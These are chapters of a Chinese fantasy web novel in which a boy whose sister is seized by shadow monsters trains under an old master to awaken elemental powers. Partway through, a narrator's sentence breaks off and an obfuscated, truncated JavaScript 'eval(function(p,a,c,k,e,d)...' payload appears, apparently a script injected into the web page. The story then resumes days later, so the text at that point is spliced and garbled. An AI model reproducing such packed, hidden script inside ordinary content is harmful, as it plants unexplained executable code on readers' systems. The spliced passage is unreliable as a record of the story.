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“放开她!”江淮年转身扑过去,完全不顾自己受伤的手。他用身体撞向怪物,但就像撞上一堵水泥墙,对方纹丝不动,他自己反而被反作用力弹开,摔在地上。 怪物把江妤拎了起来,像拎一只小猫。江妤挣扎,踢打,但毫无作用。她的手腕被抓得生疼,骨头好像要碎了。 “哥——”她喊了一声,声音里终于带上了哭腔。 江淮年挣扎着爬起来,再次冲过去。这次他抓起了墙角的一把刀,双手握刀,用尽全力刺向怪物的后背。 刀刃没入了青灰色的皮肤,但只进去了一点点,就像刺进了橡胶。怪物甚至没有回头,只是反手一挥,江淮年就连人带刀飞了出去,撞在书架上。 哗啦啦—— 几十本旧书从书架上掉下来,砸在他身上。江淮年眼前一黑,胸腔里一阵翻江倒海的疼痛,好像肋骨断了。他咳了一声,嘴里涌上一股铁锈味。 怪物拎着江妤,朝门口走去。门口的怪物让开了一条路,那双黑洞洞的“眼睛”依然盯着江淮年。 “容器……需要准备……”它说。 然后它们就消失在了雨夜里。 来得突然,走得也突然。只留下被撞坏的门,满地的狼藉,和蜷缩在书架下的江淮年。 雨还在下。雨水从破损的门洞灌进来,打湿了地上的书,墨迹晕染开,像一滩滩黑色的血。江淮年躺在地上,大口大口地喘着气。他的手在流血,胸口在疼,脑子里嗡嗡作响。 江妤被抓走了。 他挣扎着爬起来,不顾浑身的疼痛,冲进雨里。 “江妤——!”他对着空荡荡的巷子嘶吼,声音被雨声吞没。 没有人回应。只有雨,无休无止的雨,冰冷地打在他脸上,和他脸上的泪水混在一起。 他跪在雨里,拳头一下下砸在青石板上,直到皮开肉绽,直到血流不止。但他感觉不到疼,什么都感觉不到,只有一种彻骨灭顶的冰冷。 他的妹妹,他在这世上唯一的亲人,在他眼前被抓走了。 被那些……怪物。 不知道过了多久,雨渐渐小了。天边露出了鱼肚白,新的一天即将开始。 但江淮年的人生,已经在昨晚那个雨夜被彻底撕碎 他摇摇晃晃地站起来,回到店铺。门坏了,关不上,他就用书架堵住。然后他坐在湿漉漉的地上,看着满地狼藉,看着自己流血的手,看着空无一人的店铺。 怎么办? 报警?警察会相信吗?说有两个怪物抓走了他妹妹?他们会把他当成疯子。 自己去找?去哪里找?那些怪物是什么?从哪里来?要江妤做什么? 他什么都不知道。 绝望像潮水一样涌上来,淹没了他。他抱住头,指甲陷进头皮里。他想喊,想哭,想摧毁一切,但他什么也做不了。他十七岁,一无所有,连保护妹妹的能力都没有。 “孩子。” 一个声音突然响起。 江淮年猛地抬起头。 店铺门口,站着昨天那个老人。 萧予。 他还是穿着那件洗得发白的中山装,拄着竹节拐杖,站在晨光里,身上居然一滴雨都没有。他的表情很平静,那双清亮的眼睛看着江淮年。 “你……”江淮年张了张嘴,声音嘶哑得可怕。 萧予走进来,脚步很轻,几乎没有声音。他在江淮年面前停下,低头看着他,“你妹妹被抓走了,是吗?” 江淮年猛地站起来,抓住老人的衣领:“你知道?你知道那些东西?它们是什么?它们把江妤带到哪里去了?!” 他的声音在抖,手在抖,整个人都在抖。 萧予没有推开他,只是平静地说:“放开我,我告诉你。” 江淮年松开了手。他后退一步,眼睛死死盯着老人:“说。” “那些东西,我们叫它们‘影仆’。”萧予说,声音依然温和,但每个字都像钉子一样钉进江淮年心里,“它们不是这个世界的东西,或者说,不是我们这个‘层面’的东西。它们来自一个……更黑暗的地方。” “什么意思?” “意思是,这个世界比你看到的要复杂得多。”萧予走到柜台边,从地上捡起一本被雨水打湿的书,轻轻拂去封面上的水渍,“有光就有影,有正就有邪。有些存在,它们觊觎我们的世界,想要侵占它,吞噬它。而那些影仆,就是它们的爪牙。” 江淮年的大脑在艰难地消化这些话。怪物,黑暗,另一个层面……这些词像天方夜谭,但昨晚发生的一切是真实的,他手上的伤是真实的,江妤被抓走是真实的。 “它们为什么要抓江妤?”他问,声音干涩。 “因为你妹妹有‘资质’。”萧予转过身,看着江淮年,“就像你一样。” “我?” “对。”萧予的目光落在他火红色的头发上,落在他异色的瞳孔上,“天生的异象,是某种‘通道’的证明。你的身体,你的灵魂,比普通人更接近那些……不可见之物。对那些黑暗存在来说,你们是完美的‘容器’。” 容器。 昨晚那个怪物说的词。 江淮年感到一阵恶寒:“容器……做什么的容器?” “承载黑暗的容器。”萧予说,“它们想把你们变成它们的傀儡,变成它们在这个世界的锚点。一旦成功,它们就能通过你们,大举入侵。” 江淮年闭上眼睛。信息量太大了,他的脑子要炸了。但有一个念头是清晰的:江妤有危险,必须救她。 “怎么救她?”他睁开眼睛,盯着萧予,“你一定知道,对不对?你昨天来店里,不是偶然。你知道会发生什么。” 萧予沉默了几秒,然后点点头:“是,我知道。我观察你很久了,江淮年。从你父母去世,你辍学接手这家店开始。我一直在等,等你‘觉醒’的时机。” “觉醒?” “每个人都有潜力,但绝大多数人一生都不会意识到。”萧予说,“而你和你妹妹,你们的潜力比普通人强大得多。只是需要……引导。” 江淮年不在乎什么潜力,什么觉醒。他只在乎一件事:“你能救江妤吗?” “我不能。”萧予说得很直接,“但我可以教你救她。” “教我?” “对。”老人看着他,那双清亮的眼睛像能看穿一切,“跟我走,接受训练,唤醒你体内的力量。然后,去把你妹妹带回来。” 江淮年没有立刻回答。 他看了看这个店铺,这个他守了三年的地方。积灰的书架,杂乱的柜台,歪扭的字画。这是他全部的生活,是他和江妤最后的庇护所。 但现在江妤不在了。 如果她不在了,这一切还有什么意义? “要多久?”他问。 “不知道。”萧予说,“可能几个月,可能几年。取决于你。” 几年?江淮年心里一沉。几年后,江妤会变成什么样子?那些怪物会对她做什么? “我不能等几年。”他说,声音里带着绝望,“她现在就有危险,现在就需要我——” “所以你要尽快变强。”萧予打断他,“这是唯一的路,孩子。凭你现在这样,就算找到她,也只是送死。你昨晚已经试过了,不是吗?” 江淮年哑口无言。是的,他试过了。在那个怪物面前,他弱得像一只蚂蚁,连让对方多看一眼的资格都没有。 他握紧了拳头,指甲陷进掌心的伤口里,疼痛让他清醒。 没有别的选择了。 要么留在这里,什么也做不了,眼睁睁等着妹妹被黑暗吞噬;要么跟这个神秘老人走,赌一把,赌自己能变强,赌自己能救回江妤。 他抬起头,火红色的头发在晨光里像燃烧的火焰,异色的瞳孔里映出老人平静的脸。 “我跟你走。” 3. 命运 萧予没有给江淮年任何准备的时间。 “现在就走。你妹妹每多在那个世界待一刻,被侵蚀的风险就大一分。” 江淮年低头看了看自己,身上还穿着昨晚那件沾满泥污和血迹的卫衣,手上的伤口还在渗血,脚上甚至没穿鞋。但萧予似乎完全不在意这些,只是转身朝店铺外走去。 “等等。”江淮年哑声开口,“我……拿点东西。” 他快步走回后面的生活区,从衣柜里抓出几件衣服塞进背包,都是最旧的,破洞的T恤,褪色的牛仔裤,磨破边的外套。 然后他跪在床边,从枕头下摸出那个铁皮盒子,打开,把里面的东西一股脑倒进背包:父母的照片,那条要给江妤的项链,几张皱巴巴的钞票,还有一些零碎的硬币。 最后,他站在江妤的房间门口,犹豫了一下,还是推门走了进去。 房间里还残留着淡淡的洗衣粉味,床铺没有整理,被子胡乱地堆在一边,床头柜上放着一本翻开的素描本。 江淮年走过去,看见本子上画着一片海,蓝色的波浪,白色的泡沫,还有一只展翅的海鸟。 画纸的右下角,用铅笔写着一行小字: 想和哥哥一起去海边。 江淮年的喉咙像被什么堵住了。 他小心地撕下这一页,折好,放进胸前的口袋里。然后他拿起床头柜上那枚贝壳胸针也放进了口袋。 做完这一切,他最后看了一眼这个房间。 墙上贴着的海洋画,书桌上堆着的课本和画具,衣柜门上的贴纸,窗台上那盆快要枯死的绿萝。 这个他们兄妹俩生活了三年的地方,这个破旧、狭小、但曾经是家的地方。 再见了。 他转身,走出房间,走出店铺,甚至没有回头看一眼那个被书架堵住的破门。 萧予在巷口等他。 老人拄着拐杖,站在晨光里,身影被拉得很长。看见江淮年出来,他什么也没说,只是转身朝街道的另一头走去。 江淮年跟了上去。 他们穿过清晨的街道。 早点摊已经支起来了,油条的香甜味飘散在空气里。 上班的人们匆匆走过,学生们背着书包三三两两地聚在公交站台。 一切都和昨天一样,和过去的每一天都一样。 江淮年低着头,跟着萧予的背影。 他的脚踩在冰冷的水泥地上,每一步都传来清晰的刺痛。 他没穿鞋,昨晚在雨里跑的时候丢了一只,另一只也不知道什么时候掉了。 但他没有停下,甚至没有慢下来。疼痛让他清醒,让他记住这一刻的屈辱和无助。 萧予带他走向城南的老城区。 那里的建筑大多是老房子,青砖灰瓦,木格窗棂,有些已经破败不堪,有些被改造成了咖啡馆或文创小店。 他们穿过几条狭窄的巷子,最后停在一扇不起眼的黑漆木门前。 那扇门嵌在一堵高墙中间,墙上爬满了枯藤,门楣上挂着一块木匾,字迹已经模糊不清,只能勉强认出是“静园”二字。 萧予从怀里掏出一把黄铜钥匙,插入锁孔,轻轻一转。 咔哒。 门开了。 门后不是江淮年想象中的小院,而是一条铺着青石板的走道。 走道两侧是高高的白墙,墙上开着一排漏窗,窗格形状各异,有圆的,有方的,有菱形的。 晨光从漏窗照进来,在青石板上投下斑驳的光影。 萧予走进去,江淮年跟在他身后。门在身后轻轻关上,隔绝了外面世界的所有声音。 走道大约有五十米长,走到尽头,又是一道门。这道门是月洞门,没有门扇,可以直接看到里面的景象—— 那是一个巨大的庭院。 真的很大,至少有半个足球场那么大。 地面全铺着青石板,缝隙里长着细密的青苔。庭院中央有一个水池,池中垒着太湖石假山,水面上漂着几片枯荷。水池四周种着各种树木,大多是松、竹、梅这类耐寒的植物,在初春的天气里依然绿意盎然。 庭院的四面都是建筑。 正北面是一栋两层的主屋,飞檐翘角,青瓦白墙,看起来有些年头了,但维护得很好。东西两侧是厢房,也都是传统的中式建筑。 南面就是他们进来的这堵墙,墙上开着一排漏窗,可以隐约看见外面的巷子。 整个庭院安静得可怕,只有风吹过竹叶的沙沙声,和水池里偶尔的游鱼拨水声。 “这里……”江淮年环顾四周,有些茫然,“是什么地方?” “静园。”萧予说,拄着拐杖走向主屋,“以后你就住在这里。” 江淮年跟着他走进主屋。屋里很空旷,正中是一间大厅,摆放着几张太师椅和一张八仙桌,墙上挂着几幅字画。左右两边各有两间厢房,门都关着。 萧予推开东边第一间厢房的门:“这是你的房间。” 房间不大,但很整洁。 一张木床,床上铺着素色的被褥。一张书桌,一把椅子。一个衣柜,一个洗脸架。 窗户是木格窗,糊着白色的窗纸,此时正开着半扇,可以看到外面庭院的一角。 “把东西放下,收拾一下。”萧予说,“然后到大厅来,我有话跟你说。” 说完,老人就转身离开了,留下江淮年一个人站在房间里。 江淮年把背包放在床上,走到窗边。 从窗户看出去,正好能看到庭院中央的水池。池水很清,能看到水底的鹅卵石和游来游去的锦鲤。假山上长着苔藓,几只麻雀落在上面,叽叽喳喳地叫着。 这里太安静了,安静得不真实。 和昨晚那个雨夜,和那些怪物,和被抓走的江妤,完全是两个世界。 他深吸一口气,转身开始收拾东西。衣服叠好放进衣柜,铁皮盒子放在枕头底下,父母的照片压在枕头下面。做完这些,他走到大厅。 萧予已经坐在主位上了,手里端着一杯茶。看见江淮年进来,他指了指下首的椅子:“坐。” 江淮年坐下。大厅里只有他们两个人,空旷得能听见自己的呼吸声。 “这里是什么地方?”江淮年又问了一遍。 “一个安全屋。”萧予啜了一口茶,“或者说,一个训练场。在过去三十年里,我在这里教过十一个学生。你是第十二个。” “学生?学什么?” “学怎么在这个危险的世界里活下去。”萧予放下茶杯,看着江淮年,“昨晚你见到的那些东西,我们叫它们影仆。它们来自一个我们称之为暗面的地方。暗面和我们的世界,就像镜子的两面,大部分时间互不干涉,但偶尔会有……裂缝。” 江淮年听得云里雾里,但抓住了重点:“它们为什么要抓我妹妹?” “因为资质。”萧予说,“有些人天生就对暗面的能量敏感,身体就像一个容器,可以容纳那些能量。你和你妹妹,都是这样的人。你们的头发颜色,眼睛颜色,都是外在的表现。” 江淮年下意识地摸了摸自己的红发。从小到大,因为这头红发和异瞳,他没少被当成异类。原来这背后还有这样的原因。 “影仆抓走有资质的人,是为了把他们变成门。”萧予继续说,“一旦成功,暗面就能通过这扇门,大规模入侵我们的世界。所以你妹妹现在很危险,每多待一刻,被侵蚀的风险就大一分。” “那我怎么救她?” “变强。”萧予说,“强大到能闯入暗面,把她带回来。” “可我只是个普通人,我……” “你不是。”萧予打断他,“你有潜力,只是还没觉醒。从今天开始,我会教你如何唤醒你体内的力量,如何控制它,如何使用它。” 江淮年沉默了几秒,然后问:“要多久?” “不知道。”萧予实话实说,“每个人的觉醒时间都不一样。快的几天,慢的几年。但你没有几年的时间,我知道。所以我会用最严格的方法训练你,你能撑住吗?” 江淮年看着老人清亮的眼睛,想起江妤被抓走时回头看他的最后一眼,想起画纸上那行“想和哥哥一起去海边”的小字。 “我能。” 他说,声音不大,但很坚定。 萧予点点头:“好。今天你先休息,处理一下伤口,熟悉一下环境。明天早上六点,训练开始。” “等一下。”江淮年叫住他,“这里……只有我一个人吗?您不是说,您教过十一个学生?” “他们不在这里。前几个已经出师离开了。最近收的几个,我让他们下山历练去了。短期内不会回来。” 也就是说,这个巨大的庭院,在接下来的一段时间里,只有他和萧予两个人。 江淮年不知道这是好事还是坏事。好事是他可以专心训练,不用应付陌生人,坏事是……这里太安静了,安静得让人心慌。 “还有什么问题吗?”萧予问。 江淮年摇摇头。 “那就去休息吧。厨房在西厢房,里面有食材,饿了就自己做。记住,六点起床。” 萧予站起身,拄着拐杖走向内室。江淮年看着他的背影消失在屏风后面,然后起身,回到了自己的房间。 他坐在床上,看着窗外渐渐暗下来的天色。已经是傍晚了,庭院里的光线变得柔和,水池泛着金色的波光。 他躺下来,闭上眼睛。身体很累,很疼,但脑子很清醒。他想起父母,想起江妤,想起那个破旧的旧书店,想起昨晚的雨夜。 所有的一切都在昨天结束了。 今天,是新的开始。 一个为了救妹妹而活着的开始。 第二天一早,江淮年就醒了。 他几乎一夜没睡,脑子里乱糟糟的,半梦半醒间全是江妤的脸。天刚蒙蒙亮,他就爬起来,用冷水洗了把脸,换上萧予放在衣柜里的训练服。 六点整,他准时走到庭院。 萧予已经在那里等着了。他还是穿着那身灰色中山装,拄着拐杖,站在晨雾里。 “从今天开始,你的训练分为三个部分。”萧予没有废话,直接进入正题,“上午是体能训练,下午是理论课,晚上是冥想。今天是第一天,我们从最基础的开始。” 他指了指庭院中央的水池:“看到那些锦鲤了吗?” 江淮年看过去。水池里有七八条锦鲤,红白相间,正在悠闲地游动。 “你的第一个任务,是抓到一条。”萧予说。 江淮年愣住:“抓鱼?” “对,用手抓。”萧予说,“不能用工具,不能下水,只能站在池边,用手抓。抓到为止。” 江淮年看了看水池。池子不大,水很清,鱼看得很清楚。但问题是,鱼游得很快,而且很滑,用手抓几乎不可能。 “这……” “觉得不可能?”萧予看穿了他的想法,“那就想办法让它变成可能。训练从六点半开始,到八点半结束。如果你抓不到,就没有早饭。” 说完,老人转身走向主屋,留下江淮年一个人站在池边。 江淮年看着池里的鱼,又看了看自己的手。他走到池边蹲下,伸手试了试水温,冰凉刺骨。现在是三月初,水里的温度估计只有几度。 他盯着最近的一条锦鲤,看它悠闲地摆尾,吐泡泡。然后,他猛地出手—— 哗啦! 水花四溅。 鱼在他手指碰到的一瞬间就窜走了,快得像一道闪电。江淮年的手只捞到一把冷水。 他甩了甩手上的水,继续盯着那条鱼。这次他学聪明了,没有立刻出手,而是观察鱼游动的规律。那条锦鲤喜欢绕着假山转圈,每游一圈,会在假山的一个凹陷处停留几秒,像是在休息。 就是那里。 江淮年屏住呼吸,手悬在水面上方,眼睛紧紧盯着那个凹陷处。鱼来了,转弯,减速,停住—— 出手! 还是慢了。鱼在他手入水的瞬间就惊醒了,尾巴一摆,又逃走了。 第三次,第四次,第五次…… 时间一分一秒地过去。江淮年已经记不清自己出手多少次了,只记得每一次都差那么一点。水很冷,他的手已经冻得发红,失去了知觉。裤腿和袖子都湿了,贴在身上,冰凉冰凉的。 太阳慢慢升高,晨雾散去。庭院里的光线变得明亮,但江淮年的心却越来越沉。 他抓不到。 无论他怎么尝试,怎么观察,怎么计算时机,就是抓不到。那些鱼像是有灵性一样,总能在他出手的前一瞬间察觉到危险,然后以不可思议的速度逃走。 八点半的时候,萧予从主屋走出来,手里端着一碗粥 “时间到。”老人说。 江淮年站起来,浑身湿透,脸色苍白。他的手在发抖,不知道是因为冷,还是因为挫败。 “我抓不到。”他低声说。 萧予没有责怪他,只是把粥递给他:“先吃饭。” 那是一碗白粥,很稀,里面飘着几粒米。但江淮年饿坏了,接过来几口就喝完了。温热的粥下肚,总算驱散了一点寒意。 “知道为什么抓不到吗?”萧予问。 江淮年摇摇头。 “因为你的意图太明显了。”萧予说,“你的眼睛盯着鱼,你的身体绷紧,你的呼吸变重。鱼虽然不会思考,但能感觉到危险。你要抓它,就不能让它感觉到你想抓它。” “那要怎么做?” “让抓鱼这个动作,变成你身体的本能反应。不要思考,不要计划,看到,出手。中间不要有任何停顿。” 江淮年似懂非懂。 “下午继续。现在,去换身干衣服,然后到书房来。我们上理论课。” 书房在主屋的二楼,很大,四面墙都是书架,摆满了书。有现代的印刷书,也有线装的古籍,甚至还有几卷竹简。萧予让江淮年坐在书桌前,自己从书架上抽出一本厚厚的笔记。 “在教你如何控制力量之前,你要先了解力量的本质。”萧予翻开笔记,里面是密密麻麻的手写文字和一些手绘的图示。 “我们生活的世界,是由各种元素构成的。最基本的,是地、水、火、风四种。但在这之上,还有更高级的变体:雷是风的变体,冰是水的变体,木是地的变体,暗是光的缺失……。” 江淮年认真地听着。这些知识完全超出了他的认知范围,但他强迫自己记住每一个字。 “每个人都有与生俱来的元素亲和力。”萧予继续说,“大多数人的亲和力很弱,终其一生也无法觉醒。但有些人,像你,亲和力很强,只要得到正确的引导,就能觉醒对应的能力。” “那我是什么系?”江淮年问。 “不知道。”萧予说,“元素亲和力在觉醒前是看不出来的。有些人会有外在表现,比如发色、瞳色,但这也不是绝对的。要等你自己觉醒,才能知道。” 江淮年有些失望,但还是点点头。 “接下来我要讲的,是暗面和影仆。”萧予翻到笔记的另一页,上面画着一些扭曲的、像是抽象画的图案,“暗面是一个和我们世界重叠,但又不同的空间。那里的物理规则很混乱,能量也很混乱。影仆是暗面的原生生物,它们没有固定的形态,但可以模仿我们世界的生物,也可以被塑造成各种形态。” “它们为什么要入侵我们的世界?” “因为饥饿。暗面是一个贫瘠的世界,能量稀少。而我们这里,能量充沛。对它们来说,我们的世界就像一顿丰盛的大餐。它们想吞噬一切,包括物质,包括能量,也包括……灵魂。” 江淮年想起了昨晚那只影仆的话 容器。 合适的容器。 “它们抓有资质的人,是为了用我们的身体做锚点,稳定两个世界的通道。”萧予说,“一旦通道稳定,暗面的大军就会涌入。到时候,就不只是你妹妹被抓走这么简单了。那会是一场……灾难。” 江淮年原本以为,这只是他和妹妹的事。但现在看来,事情比他想象的要严重得多。 “怕了?”萧予问。 江淮年摇摇头:“不。如果能让江妤回来,如果能阻止那些怪物,我不怕。” 萧予点点头,合上笔记:“今天就到这里。休息半小时,然后继续抓鱼。” 下午的训练和上午一样,抓鱼。 江淮年还是抓不到,但这次他尝试用萧予说的方法,不思考,不计划,只是看到就出手。 结果更糟,他连鱼的边都摸不着了。 傍晚,萧予又端来一碗粥。江淮年默默地喝着,心里满是挫败感。 “觉得难?”萧予问。 “嗯。” “这才第一天。”萧予说,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧予的声音从身后传来。老人走过来,看着江淮年手里的鱼,点了点头:“七天,比我预计的快。看来你的天赋确实不错。” 江淮年把鱼放回池里。鱼一入水就窜走了,消失在假山后面。 “从今天开始,上午的训练换成别的。”萧予说,“下午继续抓鱼,但要用左手。” ? 左手? 江淮年看了看自己的左手。他是右撇子,左手几乎没什么用。 “什么时候能用左手抓到鱼,什么时候进行下一阶段。”萧予说。 就这样,训练继续。 左手抓鱼比右手难得多。江淮年又花了五天时间,才勉强用左手抓到一条小鱼。这期间,他的理论课已经讲到了元素操控的基本原理,冥想也终于有了一点进展,他能在完全静坐的状态下,感受到身体里有一股微弱的热流,在四肢百骸中缓缓流动。 萧予说,那是气,是异能的基础。 第十六天,江淮年终于能用左手熟练地抓到鱼了。萧予宣布,体能训练进入第二阶段。 “从明天开始,每天早上绕庭院跑一百圈。”萧予说,“这个庭院一圈大约两百米,一百圈就是二十公里。限时两小时完成。” 二十公里,两小时。对专业运动员来说不算什么,但对一个十七岁以及之前几乎没有运动基础的少年来说,几乎是不可完成的任务。 第一天,江淮年跑了三十圈就跑不动了,瘫在地上,喘得肺都要炸开。萧予没有骂他,只是说:“明天继续。” 第二天,三十五圈。 第三天,四十圈。 到第十天,他终于能跑完一百圈了,用时三小时。虽然超时了,但至少完成了。 这期间,理论课讲到了暗面的结构和影仆的常见类型。冥想时,江淮年已经能清晰地感觉到体内的气了,那是一种温暖的能量,像一条小溪,在经脉中缓缓流淌。萧予教他如何引导这股气,如何让它流遍全身。 “当你能够自由控制这股气的时候,就是觉醒的时候。”萧予说。 江淮年每天除了吃饭睡觉,就是训练、上课、冥想。他的身体以肉眼可见的速度变得结实,手掌因为长时间抓鱼和跑步,磨出了一层厚厚的茧。 但他的异能,依然没有觉醒的迹象。 他每天都在拼命训练,但所谓的异能连影子都没见到。他还是那个普通的江淮年,会累,会痛,会流血的普通人。而江妤,已经失踪很久了。 她还好吗?还活着吗?还是…… 他不敢想下去。 第二天,训练照常进行。但江淮年的状态明显不对。 动作迟缓,反应迟钝,连最基本的站桩都摇摇晃晃。 “停。”萧予忽然说。 江淮年停下动作,低着头,不敢看他。 “你在想什么?”萧予问,声音很平静。 “我……”江淮年张了张嘴,却不知道该说什么。 “你在想你妹妹。” 萧予替他说了出来,“你在想,她是不是还活着,你在想,你这样训练到底有没有用,你在想,如果到最后你还是觉醒不了异能,该怎么办。” 江淮年猛地抬起头:“你怎么——” “因为我见过太多像你这样的人。”萧予打断他,“着急,焦虑,恐惧。但这些情绪帮不了你,只会拖垮你。修行需要静心,需要专注。你现在的心是乱的,再练下去也是白费功夫。” “那我该怎么办?”江淮年的声音里带着压抑的哽咽,“我妹妹在那里,每多一天,她就多一分危险。我怎么能静得下心?” 萧予沉默地看着他,看了很久。然后,老人叹了口气。 “跟我来。” 萧予带着他走出练功房,穿过院子,来到那棵老槐树下。萧予示意江淮年坐下,自己也在对面坐下。 “我给你讲个故事吧。”老人说,目光望向远方,像是在回忆很久以前的事,“很多年前,我也有个妹妹。她比你妹妹大一点,十六岁,很漂亮,很活泼,像个小太阳。” 江淮年愣住了。他没想到萧予会突然说起这个。 “那时候,这个世界还没有现在这么太平。” “黑暗的力量经常渗透进来,制造混乱和恐慌。我妹妹就是在那时候被盯上的。她和你妹妹一样,有资质,是完美的容器。” “然后呢?”江淮年下意识地问。 “然后,她被带走了。” “我那时候和你一样,着急,愤怒,恨不得立刻冲去救她。但我的老师拦住了我。他说,以我当时的实力,去就是送死。” “所以你就没有去?” 萧予看了他一眼,那眼神很复杂,江淮年有些读不懂。 “我去了。” “我瞒着师父,偷偷跑出去,找到了那些影仆的巢穴。然后,我看到了我妹妹。” 他停顿了很久,久到江淮年以为他不会再说下去了。 “她还活着,但已经不是她了。 黑暗侵蚀了她的意识,把她变成了一个……怪物。 她认不出我,攻击我,用最恶毒的语言诅咒我。 我试着唤醒她,但没用。最后,我不得不……” 他没有说完,但江淮年懂了。 不得不杀了她。 一阵风吹过,槐树叶沙沙作响,像是在叹息。 “那之后,我回到了师父身边。”萧予继续说,“我花了三年时间修行,三年时间准备,然后,我找到了当年抓走我妹妹的那个影主,把它撕成了碎片。” “我告诉你这个故事,不是要吓唬你。”萧予转回头,看着江淮年,“而是要告诉你,冲动救不了人,只会让事情变得更糟。 你现在要做的,不是每天焦虑你妹妹的安危,而是抓紧每一分每一秒变强。 只有这样,当你找到她时,你才有能力救她,而不是像我一样,只能看着她变成怪物,然后亲手结束她的痛苦。” “……” “我明白了。” 萧予点点头:“回去吧。今天休息,明天再练。” 江淮年起身,朝房间走去。走了几步,他回头看了一眼,萧予还坐在石凳上,仰头看着头顶的槐树,月光洒在他脸上,那些皱纹显得更深了。 那一夜,江淮年睡得格外沉。 4. 简直误会 今天的天气算不上好,天色阴沉沉的,没过多久便下起了暴雨。江淮年这时就在屋里冥想。 当他闭目凝神时,忽然感觉到小腹深处传来一丝暖意。 很微弱,像风中残烛,但确实存在。 他睁开眼睛,看见萧予站在回廊尽头,正静静地看着他。 “感觉到了?”老人问。 江淮年点点头,说不出话来。那种感觉太奇妙了,像是身体里打开了一扇他从未知晓的门,门后是一个全新的、广阔的空间。 “那是你的源。”萧予走过来,在他对面坐下,“每个人的源都不一样。你的源……”老人顿了顿,目光落在他的脸上,“很特别。我能感觉到两股截然不同的力量,在互相拉扯,又互相依存。” “两股?”江淮年不解。 “一冰一火。”萧予说,“但你现在的身体和精神,还承受不了这种冲突。所以你要先学会平衡,学会控制。在你完全掌握之前,不要试图去触碰它们。” 江淮年记住了。接下来的几天,他继续练习呼吸和冥想,那丝暖意渐渐变得清晰、稳定,随着他的呼吸缓慢旋转、发光、散热。 但萧予很少陪他。老人大部分时间都待在后院那间从不让他进入的书房里,偶尔出来检查他的进度,指点几句,就又消失了。偌大的庭院里,常常只有江淮年一个人,和雨声、风声、树叶的沙沙声作伴。 寂寞像藤蔓一样缠绕上来。 他想起江妤。 每天清晨醒来,第一件事就是确认胸前的口袋里,那张画纸和贝壳胸针还在不在。那是他与过去唯一的联结了。有时候夜深人静,他会把胸针握在手心里,冰凉的金属触感总能让他平静一些,就好像江妤还在身边,只是暂时去了某个很远的地方,迟早会回来。 傍晚,雨终于停了。天空被洗得干干净净,露出一抹淡紫色的晚霞。萧予从后院出来,手里拿着一本泛黄的古籍。 “今晚不用练了。”老人说,“明天开始,你要出去。” 江淮年一愣:“出去?” “闭门造车是没用的。”萧予把古籍递给他,“异能需要在实践中成长。你去城里,去人群里,去感受真实的世界。这本书里记载了一些基础的能量运用法门,你可以参考,但不要拘泥,每个人的路都不一样。” 江淮年接过书,封面上用篆书写着四个字:源流初探。他翻开,里面是密密麻麻的毛笔小楷,配着一些简单的人体经络图。 “我要去多久?”他问。 “不知道。”萧予说,“等你觉得自己准备好了,就回来。记住,不要轻易在人前使用异能。还有,小心他们的眼线。” “他们?” “那些抓走你妹妹的人。”萧予的眼神变得深沉,“这个世界有很多双眼睛,在暗处盯着像你这样的种子。你要学会隐藏,也要学会辨别。” 江淮年握紧了手里的书:“我明白了。” 那天晚上,他几乎没有睡。一遍遍地翻看那本《源流初探》,尝试理解那些晦涩的文字和图形。 书里提到,异能者最初觉醒时,往往只能做到最简单的能量外放,比如让一片叶子飘起来,让一滴水结冰,让一根蜡烛的火焰跳动。 他尝试了。 盘腿坐在床上,闭目凝神,感受小腹深处的源。然后他伸出手,对着桌上的一盏油灯,想象着让火焰变大、变小、摇曳。 什么都没发生。 油灯的火焰静静燃烧,连一丝晃动都没有。 江淮年不气馁,继续尝试。一次,两次,十次,一百次。汗水从额头滑落,滴在膝盖上,但他只是抹掉,继续。到了后半夜,当他几乎要放弃时,火焰忽然跳动了一下。 很轻微,像被风吹过,但他确定不是风,窗户关着,房间里一丝风都没有。 他心跳加速,再次集中精神。这次他不再想象火焰的变化,而是专注于感受自己体内的那股暖流,然后想象着把它引导到指尖,再传递出去。 火焰又跳动了一下。接着,像是回应他的呼唤,焰心微微拉长,颜色从橙黄变成了淡淡的蓝色,然后又恢复原状。 成功了。 虽然只有一瞬间,虽然变化微乎其微,但确实是他的意志影响了现实。 江淮年靠在墙上,大口喘气,嘴角却不由自主地翘了起来。这是他第一次真正触摸到了异能的边缘。 第二天清晨,萧予给了他一些钱和一张简单的地图,就让他离开了。没有送别,没有嘱咐,只是在他走出庭院大门时,老人站在回廊下说了一句:“记住,活着回来。” 江淮年点点头,转身走进了晨雾弥漫的街道。 他要去的地方是城南的旧货市场,那是这座城市里信息流通最快的地方。萧予说,如果想了解这座城市的暗面,那里是最好的起点。 从庭院到旧货市场,要穿过大半个城区。江淮年步行,走得不快,一边走一边观察。这是他第一次回到正常的世界,一切都显得陌生又熟悉。早高峰的车流,赶着上班的人群,早点摊飘出的香味,公交站台拥挤的学生。 好像什么都没变。但江淮年知道,一切都变了。 他不再是那个守着旧书店、为生计发愁的普通少年了。他身体里藏着某种超越常理的力量,他要去找回被怪物抓走的妹妹,他要踏进一个他从未想象过的黑暗世界。 旧货市场在一条狭窄的巷子里,两边摆满了地摊,售卖着各种稀奇古怪的东西。 江淮年在市场里慢慢走着,目光扫过一个个摊位。 他不知道自己具体要找什么,只是凭着直觉,寻找那些不寻常的东西。 在一个卖旧书的摊位前,他停了下来。 摊主是个戴眼镜的老头,正埋头看一本泛黄的杂志。摊子上摆着各种旧书,从连环画到线装古籍,什么都有。 江淮年的目光被一套书吸引了,是《山海经》,和他店里那套几乎一模一样。 他蹲下身,拿起一本翻看。 纸张粗糙,印刷模糊,但插图还算清晰。 又翻了几下,江淮年觉得有些无趣,他抬起头,看见摊位后面坐着一个少年。 深蓝色的头发,领口也别着一枚贝壳胸针,但和江妤的不太一样。 他正低头摆弄手里的一个古怪仪器,那东西像怀表,但表盘上不是数字,而是一些不断变化的符文。 少年看起来很专注,手指在仪器边缘轻轻敲击,嘴里念念有词。 江淮年心里一动。 这个人,不普通。 他正要开口,少年忽然抬起头,两人的目光对上了。 那是一双很亮的眼睛,深蓝色,像深海。 少年看起来和江淮年差不多大,十七八岁,脸上带着一种玩世不恭的笑,看着就吊儿郎当的。 “看什么呢?”少年问,声音清亮,带着一点戏谑。 